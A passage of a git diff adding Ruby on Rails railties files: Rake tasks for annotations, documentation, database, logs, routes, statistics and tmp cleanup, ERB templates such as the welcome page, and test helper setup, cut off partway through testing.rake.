+ # If +file+ is the filename of a file that contains annotations this method returns
+ # a hash with a single entry that maps +file+ to an array of its annotations.
+ # Otherwise it returns an empty hash.
+ def extract_annotations_from(file, pattern)
+ lineno = 0
+ result = File.readlines(file).inject([]) do |list, line|
+ lineno += 1
+ next list unless line =~ pattern
+ list << Annotation.new(lineno, $1, $2)
+ end
+ result.empty? ? {} : { file => result }
+ end
+
+ # Prints the mapping from filenames to annotations in +results+ ordered by filename.
+ # The +options+ hash is passed to each annotation's +to_s+.
+ def display(results, options={})
+ options[:indent] = results.map { |f, a| a.map(&:line) }.flatten.max.to_s.size
+ results.keys.sort.each do |file|
+ puts "#{file}:"
+ results[file].each do |note|
+ puts " * #{note.to_s(options)}"
+ end
+ puts
+ end
+ end
+end
diff --git a/railties/lib/rails/tasks.rb b/railties/lib/rails/tasks.rb
new file mode 100644
index 0000000..9807000
--- /dev/null
+++ b/railties/lib/rails/tasks.rb
@@ -0,0 +1,16 @@
+$VERBOSE = nil
+
+# Load Rails rakefile extensions
+%w(
+ annotations
+ documentation
+ framework
+ log
+ middleware
+ misc
+ routes
+ statistics
+ tmp
+).each do |task|
+ load "rails/tasks/#{task}.rake"
+end
diff --git a/railties/lib/rails/tasks/annotations.rake b/railties/lib/rails/tasks/annotations.rake
new file mode 100644
index 0000000..386ecf4
--- /dev/null
+++ b/railties/lib/rails/tasks/annotations.rake
@@ -0,0 +1,20 @@
+require 'rails/source_annotation_extractor'
+
+desc "Enumerate all annotations (use notes:optimize, :fixme, :todo for focus)"
+task :notes do
+ SourceAnnotationExtractor.enumerate "OPTIMIZE|FIXME|TODO", tag: true
+end
+
+namespace :notes do
+ ["OPTIMIZE", "FIXME", "TODO"].each do |annotation|
+ # desc "Enumerate all #{annotation} annotations"
+ task annotation.downcase.intern do
+ SourceAnnotationExtractor.enumerate annotation
+ end
+ end
+
+ desc "Enumerate a custom annotation, specify with ANNOTATION=CUSTOM"
+ task :custom do
+ SourceAnnotationExtractor.enumerate ENV['ANNOTATION']
+ end
+end
\ No newline at end of file
diff --git a/railties/lib/rails/tasks/documentation.rake b/railties/lib/rails/tasks/documentation.rake
new file mode 100644
index 0000000..1c34260
--- /dev/null
+++ b/railties/lib/rails/tasks/documentation.rake
@@ -0,0 +1,64 @@
+require 'rdoc/task'
+require 'rails/api/task'
+
+# Monkey-patch to remove redoc'ing and clobber descriptions to cut down on rake -T noise
+class RDocTaskWithoutDescriptions < RDoc::Task
+ include ::Rake::DSL
+
+ def define
+ task rdoc_task_name
+
+ task rerdoc_task_name => [clobber_task_name, rdoc_task_name]
+
+ task clobber_task_name do
+ rm_r rdoc_dir rescue nil
+ end
+
+ task :clobber => [clobber_task_name]
+
+ directory @rdoc_dir
+ task rdoc_task_name => [rdoc_target]
+ file rdoc_target => @rdoc_files + [Rake.application.rakefile] do
+ rm_r @rdoc_dir rescue nil
+ @before_running_rdoc.call if @before_running_rdoc
+ args = option_list + @rdoc_files
+ if @external
+ argstring = args.join(' ')
+ sh %{ruby -Ivendor vendor/rd #{argstring}}
+ else
+ require 'rdoc/rdoc'
+ RDoc::RDoc.new.document(args)
+ end
+ end
+ self
+ end
+end
+
+namespace :doc do
+ def gem_path(gem_name)
+ path = $LOAD_PATH.grep(/#{gem_name}[\w.-]*\/lib$/).first
+ yield File.dirname(path) if path
+ end
+
+ RDocTaskWithoutDescriptions.new("app") { |rdoc|
+ rdoc.rdoc_dir = 'doc/app'
+ rdoc.template = ENV['template'] if ENV['template']
+ rdoc.title = ENV['title'] || "Rails Application Documentation"
+ rdoc.options << '--line-numbers'
+ rdoc.options << '--charset' << 'utf-8'
+ rdoc.rdoc_files.include('README.rdoc')
+ rdoc.rdoc_files.include('app/**/*.rb')
+ rdoc.rdoc_files.include('lib/**/*.rb')
+ }
+ Rake::Task['doc:app'].comment = "Generate docs for the app -- also available doc:rails, doc:guides (options: TEMPLATE=/rdoc-template.rb, TITLE=\"Custom Title\")"
+
+ # desc 'Generate documentation for the Rails framework.'
+ Rails::API::AppTask.new('rails')
+
+ # desc "Generate Rails Guides"
+ task :guides do
+ # FIXME: Reaching outside lib directory is a bad idea
+ require File.expand_path('../../../../../guides/rails_guides', __FILE__)
+ RailsGuides::Generator.new(Rails.root.join("doc/guides")).generate
+ end
+end
diff --git a/railties/lib/rails/tasks/engine.rake b/railties/lib/rails/tasks/engine.rake
new file mode 100644
index 0000000..70370be
--- /dev/null
+++ b/railties/lib/rails/tasks/engine.rake
@@ -0,0 +1,72 @@
+task "load_app" do
+ namespace :app do
+ load APP_RAKEFILE
+ end
+ task :environment => "app:environment"
+
+ if !defined?(ENGINE_PATH) || !ENGINE_PATH
+ ENGINE_PATH = find_engine_path(APP_RAKEFILE)
+ end
+end
+
+def app_task(name)
+ task name => [:load_app, "app:db:#{name}"]
+end
+
+namespace :db do
+ app_task "reset"
+
+ desc "Migrate the database (options: VERSION=x, VERBOSE=false)."
+ app_task "migrate"
+ app_task "migrate:up"
+ app_task "migrate:down"
+ app_task "migrate:redo"
+ app_task "migrate:reset"
+
+ desc "Display status of migrations"
+ app_task "migrate:status"
+
+ desc 'Create the database from config/database.yml for the current Rails.env (use db:create:all to create all dbs in the config)'
+ app_task "create"
+ app_task "create:all"
+
+ desc 'Drops the database for the current Rails.env (use db:drop:all to drop all databases)'
+ app_task "drop"
+ app_task "drop:all"
+
+ desc "Load fixtures into the current environment's database."
+ app_task "fixtures:load"
+
+ desc "Rolls the schema back to the previous version (specify steps w/ STEP=n)."
+ app_task "rollback"
+
+ desc "Create a db/schema.rb file that can be portably used against any DB supported by AR"
+ app_task "schema:dump"
+
+ desc "Load a schema.rb file into the database"
+ app_task "schema:load"
+
+ desc "Load the seed data from db/seeds.rb"
+ app_task "seed"
+
+ desc "Create the database, load the schema, and initialize with the seed data (use db:reset to also drop the db first)"
+ app_task "setup"
+
+ desc "Dump the database structure to an SQL file"
+ app_task "structure:dump"
+
+ desc "Retrieves the current schema version number"
+ app_task "version"
+end
+
+def find_engine_path(path)
+ return File.expand_path(Dir.pwd) if path == "/"
+
+ if Rails::Engine.find(path)
+ path
+ else
+ find_engine_path(File.expand_path('..', path))
+ end
+end
+
+Rake.application.invoke_task(:load_app)
diff --git a/railties/lib/rails/tasks/framework.rake b/railties/lib/rails/tasks/framework.rake
new file mode 100644
index 0000000..2116330
--- /dev/null
+++ b/railties/lib/rails/tasks/framework.rake
@@ -0,0 +1,76 @@
+namespace :rails do
+ desc "Update configs and some other initially generated files (or use just update:configs, update:bin, or update:application_controller)"
+ task update: [ "update:configs", "update:bin", "update:application_controller" ]
+
+ desc "Applies the template supplied by LOCATION=(/path/to/template) or URL"
+ task :template do
+ template = ENV["LOCATION"]
+ raise "No LOCATION value given. Please set LOCATION either as path to a file or a URL" if template.blank?
+ template = File.expand_path(template) if template !~ %r{\A[A-Za-z][A-Za-z0-9+\-\.]*://}
+ require 'rails/generators'
+ require 'rails/generators/rails/app/app_generator'
+ generator = Rails::Generators::AppGenerator.new [Rails.root], {}, destination_root: Rails.root
+ generator.apply template, verbose: false
+ end
+
+ namespace :templates do
+ # desc "Copy all the templates from rails to the application directory for customization. Already existing local copies will be overwritten"
+ task :copy do
+ generators_lib = File.expand_path("../../generators", __FILE__)
+ project_templates = "#{Rails.root}/lib/templates"
+
+ default_templates = { "erb" => %w{controller mailer scaffold},
+ "rails" => %w{controller helper scaffold_controller assets} }
+
+ default_templates.each do |type, names|
+ local_template_type_dir = File.join(project_templates, type)
+ FileUtils.mkdir_p local_template_type_dir
+
+ names.each do |name|
+ dst_name = File.join(local_template_type_dir, name)
+ src_name = File.join(generators_lib, type, name, "templates")
+ FileUtils.cp_r src_name, dst_name
+ end
+ end
+ end
+ end
+
+ namespace :update do
+ def invoke_from_app_generator(method)
+ app_generator.send(method)
+ end
+
+ def app_generator
+ @app_generator ||= begin
+ require 'rails/generators'
+ require 'rails/generators/rails/app/app_generator'
+ gen = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true },
+ destination_root: Rails.root
+ File.exists?(Rails.root.join("config", "application.rb")) ?
+ gen.send(:app_const) : gen.send(:valid_app_const?)
+ gen
+ end
+ end
+
+ # desc "Update config/boot.rb from your current rails install"
+ task :configs do
+ invoke_from_app_generator :create_boot_file
+ invoke_from_app_generator :create_config_files
+ end
+
+ # desc "Adds new executables to the application bin/ directory"
+ task :bin do
+ invoke_from_app_generator :create_bin_files
+ end
+
+ # desc "Rename application.rb to application_controller.rb"
+ task :application_controller do
+ old_style = Rails.root + '/app/controllers/application.rb'
+ new_style = Rails.root + '/app/controllers/application_controller.rb'
+ if File.exists?(old_style) && !File.exists?(new_style)
+ FileUtils.mv(old_style, new_style)
+ puts "#{old_style} has been renamed to #{new_style}, update your SCM as necessary"
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/tasks/log.rake b/railties/lib/rails/tasks/log.rake
new file mode 100644
index 0000000..6c3f02e
--- /dev/null
+++ b/railties/lib/rails/tasks/log.rake
@@ -0,0 +1,23 @@
+namespace :log do
+ desc "Truncates all *.log files in log/ to zero bytes (specify which logs with LOGS=test,development)"
+ task :clear do
+ log_files.each do |file|
+ clear_log_file(file)
+ end
+ end
+
+ def log_files
+ if ENV['LOGS']
+ ENV['LOGS'].split(',')
+ .map { |file| "log/#{file.strip}.log" }
+ .select { |file| File.exists?(file) }
+ else
+ FileList["log/*.log"]
+ end
+ end
+
+ def clear_log_file(file)
+ f = File.open(file, "w")
+ f.close
+ end
+end
diff --git a/railties/lib/rails/tasks/middleware.rake b/railties/lib/rails/tasks/middleware.rake
new file mode 100644
index 0000000..31e961b
--- /dev/null
+++ b/railties/lib/rails/tasks/middleware.rake
@@ -0,0 +1,7 @@
+desc 'Prints out your Rack middleware stack'
+task middleware: :environment do
+ Rails.configuration.middleware.each do |middleware|
+ puts "use #{middleware.inspect}"
+ end
+ puts "run #{Rails.application.class.name}.routes"
+end
diff --git a/railties/lib/rails/tasks/misc.rake b/railties/lib/rails/tasks/misc.rake
new file mode 100644
index 0000000..4195106
--- /dev/null
+++ b/railties/lib/rails/tasks/misc.rake
@@ -0,0 +1,60 @@
+desc 'Generate a cryptographically secure secret key (this is typically used to generate a secret for cookie sessions).'
+task :secret do
+ require 'securerandom'
+ puts SecureRandom.hex(64)
+end
+
+desc 'List versions of all Rails frameworks and the environment'
+task about: :environment do
+ puts Rails::Info
+end
+
+namespace :time do
+ namespace :zones do
+ desc 'Displays all time zones, also available: time:zones:us, time:zones:local -- filter with OFFSET parameter, e.g., OFFSET=-6'
+ task :all do
+ build_time_zone_list(:all)
+ end
+
+ # desc 'Displays names of US time zones recognized by the Rails TimeZone class, grouped by offset. Results can be filtered with optional OFFSET parameter, e.g., OFFSET=-6'
+ task :us do
+ build_time_zone_list(:us_zones)
+ end
+
+ # desc 'Displays names of time zones recognized by the Rails TimeZone class with the same offset as the system local time'
+ task :local do
+ require 'active_support'
+ require 'active_support/time'
+ jan_offset = Time.now.beginning_of_year.utc_offset
+ jul_offset = Time.now.beginning_of_year.change(month: 7).utc_offset
+ offset = jan_offset < jul_offset ? jan_offset : jul_offset
+ build_time_zone_list(:all, offset)
+ end
+
+ # to find UTC -06:00 zones, OFFSET can be set to either -6, -6:00 or 21600
+ def build_time_zone_list(method, offset = ENV['OFFSET'])
+ require 'active_support'
+ require 'active_support/time'
+ if offset
+ offset = if offset.to_s.match(/(\+|-)?(\d+):(\d+)/)
+ sign = $1 == '-' ? -1 : 1
+ hours, minutes = $2.to_f, $3.to_f
+ ((hours * 3600) + (minutes.to_f * 60)) * sign
+ elsif offset.to_f.abs <= 13
+ offset.to_f * 3600
+ else
+ offset.to_f
+ end
+ end
+ previous_offset = nil
+ ActiveSupport::TimeZone.__send__(method).each do |zone|
+ if offset.nil? || offset == zone.utc_offset
+ puts "\n* UTC #{zone.formatted_offset} *" unless zone.utc_offset == previous_offset
+ puts zone.name
+ previous_offset = zone.utc_offset
+ end
+ end
+ puts "\n"
+ end
+ end
+end
diff --git a/railties/lib/rails/tasks/routes.rake b/railties/lib/rails/tasks/routes.rake
new file mode 100644
index 0000000..1815c2f
--- /dev/null
+++ b/railties/lib/rails/tasks/routes.rake
@@ -0,0 +1,7 @@
+desc 'Print out all defined routes in match order, with names. Target specific controller with CONTROLLER=x.'
+task routes: :environment do
+ all_routes = Rails.application.routes.routes
+ require 'action_dispatch/routing/inspector'
+ inspector = ActionDispatch::Routing::RoutesInspector.new(all_routes)
+ puts inspector.format(ActionDispatch::Routing::ConsoleFormatter.new, ENV['CONTROLLER'])
+end
diff --git a/railties/lib/rails/tasks/statistics.rake b/railties/lib/rails/tasks/statistics.rake
new file mode 100644
index 0000000..c1674c7
--- /dev/null
+++ b/railties/lib/rails/tasks/statistics.rake
@@ -0,0 +1,22 @@
+STATS_DIRECTORIES = [
+ %w(Controllers app/controllers),
+ %w(Helpers app/helpers),
+ %w(Models app/models),
+ %w(Mailers app/mailers),
+ %w(Javascripts app/assets/javascripts),
+ %w(Libraries lib/),
+ %w(APIs app/apis),
+ %w(Controller\ tests test/controllers),
+ %w(Helper\ tests test/helpers),
+ %w(Model\ tests test/models),
+ %w(Mailer\ tests test/mailers),
+ %w(Integration\ tests test/integration),
+ %w(Functional\ tests\ (old) test/functional),
+ %w(Unit\ tests \ (old) test/unit)
+].collect { |name, dir| [ name, "#{Rails.root}/#{dir}" ] }.select { |name, dir| File.directory?(dir) }
+
+desc "Report code statistics (KLOCs, etc) from the application"
+task :stats do
+ require 'rails/code_statistics'
+ CodeStatistics.new(*STATS_DIRECTORIES).to_s
+end
diff --git a/railties/lib/rails/tasks/tmp.rake b/railties/lib/rails/tasks/tmp.rake
new file mode 100644
index 0000000..1169886
--- /dev/null
+++ b/railties/lib/rails/tasks/tmp.rake
@@ -0,0 +1,45 @@
+namespace :tmp do
+ desc "Clear session, cache, and socket files from tmp/ (narrow w/ tmp:sessions:clear, tmp:cache:clear, tmp:sockets:clear)"
+ task clear: [ "tmp:sessions:clear", "tmp:cache:clear", "tmp:sockets:clear"]
+
+ tmp_dirs = [ 'tmp/sessions',
+ 'tmp/cache',
+ 'tmp/sockets',
+ 'tmp/pids',
+ 'tmp/cache/assets/development',
+ 'tmp/cache/assets/test',
+ 'tmp/cache/assets/production' ]
+
+ tmp_dirs.each { |d| directory d }
+
+ desc "Creates tmp directories for sessions, cache, sockets, and pids"
+ task create: tmp_dirs
+
+ namespace :sessions do
+ # desc "Clears all files in tmp/sessions"
+ task :clear do
+ FileUtils.rm(Dir['tmp/sessions/[^.]*'])
+ end
+ end
+
+ namespace :cache do
+ # desc "Clears all files and directories in tmp/cache"
+ task :clear do
+ FileUtils.rm_rf(Dir['tmp/cache/[^.]*'])
+ end
+ end
+
+ namespace :sockets do
+ # desc "Clears all files in tmp/sockets"
+ task :clear do
+ FileUtils.rm(Dir['tmp/sockets/[^.]*'])
+ end
+ end
+
+ namespace :pids do
+ # desc "Clears all files in tmp/pids"
+ task :clear do
+ FileUtils.rm(Dir['tmp/pids/[^.]*'])
+ end
+ end
+end
diff --git a/railties/lib/rails/templates/layouts/application.html.erb b/railties/lib/rails/templates/layouts/application.html.erb
new file mode 100644
index 0000000..7352d48
--- /dev/null
+++ b/railties/lib/rails/templates/layouts/application.html.erb
@@ -0,0 +1,36 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+ <meta charset="utf-8" />
+ <title>Routes</title>
+ <style>
+ body { background-color: #fff; color: #333; }
+
+ body, p, ol, ul, td {
+ font-family: helvetica, verdana, arial, sans-serif;
+ font-size: 13px;
+ line-height: 18px;
+ }
+
+ pre {
+ background-color: #eee;
+ padding: 10px;
+ font-size: 11px;
+ white-space: pre-wrap;
+ }
+
+ a { color: #000; }
+ a:visited { color: #666; }
+ a:hover { color: #fff; background-color:#000; }
+
+ h2 { padding-left: 10px; }
+
+ <%= yield :style %>
+ </style>
+</head>
+<body>
+<h2>Your App: <%= link_to 'properties', '/rails/info/properties' %> | <%= link_to 'routes', '/rails/info/routes' %></h2>
+<%= yield %>
+
+</body>
+</html>
diff --git a/railties/lib/rails/templates/rails/info/properties.html.erb b/railties/lib/rails/templates/rails/info/properties.html.erb
new file mode 100644
index 0000000..d47cbab
--- /dev/null
+++ b/railties/lib/rails/templates/rails/info/properties.html.erb
@@ -0,0 +1 @@
+<%= @info.html_safe %>
\ No newline at end of file
diff --git a/railties/lib/rails/templates/rails/info/routes.html.erb b/railties/lib/rails/templates/rails/info/routes.html.erb
new file mode 100644
index 0000000..2d8a190
--- /dev/null
+++ b/railties/lib/rails/templates/rails/info/routes.html.erb
@@ -0,0 +1,9 @@
+<h2>
+ Routes
+</h2>
+
+<p>
+ Routes match in priority from top to bottom
+</p>
+
+<%= @routes_inspector.format(ActionDispatch::Routing::HtmlTableFormatter.new(self)) %>
diff --git a/railties/lib/rails/templates/rails/welcome/index.html.erb b/railties/lib/rails/templates/rails/welcome/index.html.erb
new file mode 100644
index 0000000..4c4c80e
--- /dev/null
+++ b/railties/lib/rails/templates/rails/welcome/index.html.erb
@@ -0,0 +1,245 @@
+<!DOCTYPE html>
+<html>
+ <head>
+ <title>Ruby on Rails: Welcome aboard</title>
+ <style media="screen">
+ body {
+ margin: 0;
+ margin-bottom: 25px;
+ padding: 0;
+ background-color: #f0f0f0;
+ font-family: "Lucida Grande", "Bitstream Vera Sans", "Verdana";
+ font-size: 13px;
+ color: #333;
+ }
+
+ h1 {
+ font-size: 28px;
+ color: #000;
+ }
+
+ a {color: #03c}
+ a:hover {
+ background-color: #03c;
+ color: white;
+ text-decoration: none;
+ }
+
+
+ #page {
+ background-color: #f0f0f0;
+ width: 750px;
+ margin: 0;
+ margin-left: auto;
+ margin-right: auto;
+ }
+
+ #content {
+ float: left;
+ background-color: white;
+ border: 3px solid #aaa;
+ border-top: none;
+ padding: 25px;
+ width: 500px;
+ }
+
+ #sidebar {
+ float: right;
+ width: 175px;
+ }
+
+ #footer {
+ clear: both;
+ }
+
+ #header, #about, #getting-started {
+ padding-left: 75px;
+ padding-right: 30px;
+ }
+
+
+ #header {
+ background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIAAABACAYAAABY1SR7AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAGZhJREFUeNqsWwmUXGWV/t5Sr9aurl6qO0l3Z9/DEoJh18gZQGAUxPHIyQHH7eioZ8bjnAFHZ0RndNxxRBhGcUbxoKIHBkTEcUYREIHIGpKQjUDS6U660/tSVV3Lq/fefPf/Xy2dBFGYx3npqvde/e/e/97v3u/e/8e4Lt2L8DCCAFcGwF8ZBjYbgM1rAZoO+WLwZhDMu9y4+YcOozbAqzwXNA3GdzX/5hV+KnKO2+GXFj/AvzmW8e72iG202CYiphbY403f9/k3QHZtJ9oWtyCQe7wGX79TKVb7rP9pXJPDVxf0Rz+oyxm4HNWrahFNixdk3EAJbERMWOm4ulctVODN [...]
+ background-repeat: no-repeat;
+ background-position: top left;
+ height: 64px;
+ }
+ #header h1, #header h2 {margin: 0}
+ #header h2 {
+ color: #888;
+ font-weight: normal;
+ font-size: 16px;
+ }
+
+
+ #about h3 {
+ margin: 0;
+ margin-bottom: 10px;
+ font-size: 14px;
+ }
+
+ #about-content {
+ background-color: #ffd;
+ border: 1px solid #fc0;
+ margin-left: -55px;
+ margin-right: -10px;
+ }
+ #about-content table {
+ margin-top: 10px;
+ margin-bottom: 10px;
+ font-size: 11px;
+ border-collapse: collapse;
+ }
+ #about-content td {
+ padding: 10px;
+ padding-top: 3px;
+ padding-bottom: 3px;
+ }
+ #about-content td.name {color: #555}
+ #about-content td.value {color: #000}
+
+ #about-content ul {
+ padding: 0;
+ list-style-type: none;
+ }
+
+ #about-content.failure {
+ background-color: #fcc;
+ border: 1px solid #f00;
+ }
+ #about-content.failure p {
+ margin: 0;
+ padding: 10px;
+ }
+
+
+ #getting-started {
+ border-top: 1px solid #ccc;
+ margin-top: 25px;
+ padding-top: 15px;
+ }
+ #getting-started h1 {
+ margin: 0;
+ font-size: 20px;
+ }
+ #getting-started h2 {
+ margin: 0;
+ font-size: 14px;
+ font-weight: normal;
+ color: #333;
+ margin-bottom: 25px;
+ }
+ #getting-started ol {
+ margin-left: 0;
+ padding-left: 0;
+ }
+ #getting-started li {
+ font-size: 18px;
+ color: #888;
+ margin-bottom: 25px;
+ }
+ #getting-started li h2 {
+ margin: 0;
+ font-weight: normal;
+ font-size: 18px;
+ color: #333;
+ }
+ #getting-started li p {
+ color: #555;
+ font-size: 13px;
+ }
+
+
+ #sidebar ul {
+ margin-left: 0;
+ padding-left: 0;
+ }
+ #sidebar ul h3 {
+ margin-top: 25px;
+ font-size: 16px;
+ padding-bottom: 10px;
+ border-bottom: 1px solid #ccc;
+ }
+ #sidebar li {
+ list-style-type: none;
+ }
+ #sidebar ul.links li {
+ margin-bottom: 5px;
+ }
+
+ .filename {
+ font-style: italic;
+ }
+ </style>
+ <script>
+ function about() {
+ var info = document.getElementById('about-content'),
+ xhr;
+
+ if (info.innerHTML === '') {
+ xhr = new XMLHttpRequest();
+ xhr.open("GET", "/rails/info/properties", false);
+ xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
+ xhr.send("");
+ info.innerHTML = xhr.responseText;
+ }
+
+ info.style.display = info.style.display === 'none' ? 'block' : 'none';
+ }
+ </script>
+ </head>
+ <body>
+ <div id="page">
+ <div id="sidebar">
+ <ul id="sidebar-items">
+ <li>
+ <h3>Browse the documentation</h3>
+ <ul class="links">
+ <li><a href="http://guides.rubyonrails.org/">Rails Guides</a></li>
+ <li><a href="http://api.rubyonrails.org/">Rails API</a></li>
+ <li><a href="http://www.ruby-doc.org/core/">Ruby core</a></li>
+ <li><a href="http://www.ruby-doc.org/stdlib/">Ruby standard library</a></li>
+ </ul>
+ </li>
+ </ul>
+ </div>
+
+ <div id="content">
+ <div id="header">
+ <h1>Welcome aboard</h1>
+ <h2>You’re riding Ruby on Rails!</h2>
+ </div>
+
+ <div id="about">
+ <h3><a href="/rails/info/properties" onclick="about(); return false">About your application’s environment</a></h3>
+ <div id="about-content" style="display: none"></div>
+ </div>
+
+ <div id="getting-started">
+ <h1>Getting started</h1>
+ <h2>Here’s how to get rolling:</h2>
+
+ <ol>
+ <li>
+ <h2>Use <code>rails generate</code> to create your models and controllers</h2>
+ <p>To see all available options, run it without parameters.</p>
+ </li>
+
+ <li>
+ <h2>Set up a root route to replace this page</h2>
+ <p>You're seeing this page because you're running in development mode and you haven't set a root route yet.</p>
+ <p>Routes are set up in <span class="filename">config/routes.rb</span>.</p>
+ </li>
+
+ <li>
+ <h2>Create your database</h2>
+ <p>Run <code>rake db:create</code> to create your database. If you're not using SQLite (the default), edit <span class="filename">config/database.yml</span> with your username and password.</p>
+ </li>
+ </ol>
+ </div>
+ </div>
+
+ <div id="footer"> </div>
+ </div>
+ </body>
+</html>
diff --git a/railties/lib/rails/test_help.rb b/railties/lib/rails/test_help.rb
new file mode 100644
index 0000000..739e4ad
--- /dev/null
+++ b/railties/lib/rails/test_help.rb
@@ -0,0 +1,37 @@
+# Make double-sure the RAILS_ENV is not set to production,
+# so fixtures aren't loaded into that environment
+abort("Abort testing: Your Rails environment is running in production mode!") if Rails.env.production?
+
+require 'active_support/testing/autorun'
+require 'active_support/test_case'
+require 'action_controller/test_case'
+require 'action_dispatch/testing/integration'
+
+# Config Rails backtrace in tests.
+require 'rails/backtrace_cleaner'
+MiniTest.backtrace_filter = Rails.backtrace_cleaner
+
+if defined?(ActiveRecord::Base)
+ class ActiveSupport::TestCase
+ include ActiveRecord::TestFixtures
+ self.fixture_path = "#{Rails.root}/test/fixtures/"
+ end
+
+ ActionDispatch::IntegrationTest.fixture_path = ActiveSupport::TestCase.fixture_path
+
+ def create_fixtures(*fixture_set_names, &block)
+ FixtureSet.create_fixtures(ActiveSupport::TestCase.fixture_path, fixture_set_names, {}, &block)
+ end
+end
+
+class ActionController::TestCase
+ setup do
+ @routes = Rails.application.routes
+ end
+end
+
+class ActionDispatch::IntegrationTest
+ setup do
+ @routes = Rails.application.routes
+ end
+end
diff --git a/railties/lib/rails/test_unit/railtie.rb b/railties/lib/rails/test_unit/railtie.rb
new file mode 100644
index 0000000..ab1ebe1
--- /dev/null
+++ b/railties/lib/rails/test_unit/railtie.rb
@@ -0,0 +1,18 @@
+if defined?(Rake) && Rake.application.top_level_tasks.grep(/^(default$|test(:|$))/).any?
+ ENV['RAILS_ENV'] ||= 'test'
+end
+
+module Rails
+ class TestUnitRailtie < Rails::Railtie
+ config.app_generators do |c|
+ c.test_framework :test_unit, fixture: true,
+ fixture_replacement: nil
+
+ c.integration_tool :test_unit
+ end
+
+ rake_tasks do
+ load "rails/test_unit/testing.rake"
+ end
+ end
+end
diff --git a/railties/lib/rails/test_unit/sub_test_task.rb b/railties/lib/rails/test_unit/sub_test_task.rb
new file mode 100644
index 0000000..a463380
--- /dev/null
+++ b/railties/lib/rails/test_unit/sub_test_task.rb
@@ -0,0 +1,85 @@
+require 'rake/testtask'
+
+module Rails
+ class TestTask < Rake::TestTask # :nodoc: all
+ class TestInfo
+ def initialize(tasks)
+ @tasks = tasks
+ end
+
+ def files
+ @tasks.map { |task|
+ [task, translate(task)].find { |file| test_file?(file) }
+ }.compact
+ end
+
+ def translate(file)
+ if file =~ /^app\/(.*)$/
+ "test/#{$1.sub(/\.rb$/, '')}_test.rb"
+ else
+ "test/#{file}_test.rb"
+ end
+ end
+
+ def tasks
+ @tasks - test_file_tasks - opt_names
+ end
+
+ def opts
+ opts = opt_names
+ if opts.any?
+ "-n #{opts.join ' '}"
+ end
+ end
+
+ private
+
+ def test_file_tasks
+ @tasks.find_all { |task|
+ [task, translate(task)].any? { |file| test_file?(file) }
+ }
+ end
+
+ def test_file?(file)
+ file =~ /^test/ && File.file?(file) && !File.directory?(file)
+ end
+
+ def opt_names
+ (@tasks - test_file_tasks).reject { |t| task_defined? t }
+ end
+
+ def task_defined?(task)
+ Rake::Task.task_defined? task
+ end
+ end
+
+ def self.test_info(tasks)
+ TestInfo.new tasks
+ end
+
+ def initialize(name = :test)
+ super
+ @libs << "test" # lib *and* test seem like a better default
+ end
+
+ def define
+ task @name do
+ if ENV['TESTOPTS']
+ ARGV.replace Shellwords.split ENV['TESTOPTS']
+ end
+ libs = @libs - $LOAD_PATH
+ $LOAD_PATH.unshift(*libs)
+ file_list.each { |fl|
+ FileList[fl].to_a.each { |f| require File.expand_path f }
+ }
+ end
+ end
+ end
+
+ # Silence the default description to cut down on `rake -T` noise.
+ class SubTestTask < Rake::TestTask # :nodoc:
+ def desc(string)
+ # Ignore the description.
+ end
+ end
+end
diff --git a/railties/lib/rails/test_unit/testing.rake b/railties/lib/rails/test_unit/testing.rake
new file mode 100644
index 0000000..877dd6d
--- /dev/null
+++ b/railties/lib/rails/test_unit/testing.rake
@@ -0,0 +1,151 @@
+require 'rbconfig'
+require 'rake/testtask'
+require 'rails/test_unit/sub_test_task'
+require 'active_support/deprecation'
+
+TEST_CHANGES_SINCE = Time.now - 600
+
+# Look up tests for recently modified sources.
+def recent_tests(source_pattern, test_path, touched_since = 10.minutes.ago)
+ FileList[source_pattern].map do |path|
+ if File.mtime(path) > touched_since
+ tests = []
+ source_dir = File.dirname(path).split("/")
+ source_file = File.basename(path, '.rb')
+
+ # Support subdirs in app/models and app/controllers
+ modified_test_path = source_dir.length > 2 ? "#{test_path}/" << source_dir[1..source_dir.length].join('/') : test_path
+
+ # For modified files in app/ run the tests for it. ex. /test/controllers/account_controller.rb
+ test = "#{modified_test_path}/#{source_file}_test.rb"
+ tests.push test if File.exist?(test)
+
+ # For modified files in app, run tests in subdirs too. ex. /test/controllers/account/*_test.rb
+ test = "#{modified_test_path}/#{File.basename(path, '.rb').sub("_controller","")}"
+ FileList["#{test}/*_test.rb"].each { |f| tests.push f } if File.exist?(test)
+
+ return tests
+
+ end
+ end.flatten.compact
+end
+
+
+# Recreated here from Active Support because :uncommitted needs it before Rails is available
+module Kernel
+ remove_method :silence_stderr # Removing old method to prevent method redefined warning
+ def silence_stderr
+ old_stderr = STDERR.dup
+ STDERR.reopen(RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL:' : '/dev/null')
+ STDERR.sync = true
+ yield
+ ensure
+ STDERR.reopen(old_stderr)
+ end
+end
+
+task default: :test
+
+desc 'Runs test:units, test:functionals, test:integration together'
+task :test do
+ info = Rails::TestTask.test_info Rake.application.top_level_tasks
+ if info.files.any?
+ Rails::TestTask.new('test:single') { |t|
+ t.test_files = info.files
+ }
+ ENV['TESTOPTS'] ||= info.opts
+ Rake.application.top_level_tasks.replace info.tasks
+
+ Rake::Task['test:single'].invoke
+ else
+ Rake::Task[ENV['TEST'] ? 'test:single' : 'test:run'].invoke
+ end
+end
+
+namespace :test do
+ task :prepare do
+ # Placeholder task for other Railtie and plugins to enhance. See Active Record for an example.
+ end
+
+ task :run => ['test:units', 'test:functionals', 'test:integration']
+
+ # Inspired by: http://ngauthier.com/2012/02/quick-tests-with-bash.html
+ desc "Run tests quickly by merging all types and not resetting db"
+ Rails::TestTask.new(:all) do |t|
+ t.pattern = "test/**/*_test.rb"
+ end
+
+ namespace :all do
+ desc "Run tests quickly, but also reset db"
+ task :db => %w[db:test:prepare test:all]
+ end
+
+ # Display deprecation message
+ task :deprecated do
+ ActiveSupport::Deprecation.warn "`rake #{ARGV.first}` is deprecated with no replacement."
+ end
+
+ Rake::TestTask.new(recent: ["test:deprecated", "test:prepare"]) do |t|
+ since = TEST_CHANGES_SINCE
+ touched = FileList['test/**/*_test.rb'].select { |path| File.mtime(path) > since } +
+ recent_tests('app/models/**/*.rb', 'test/models', since) +
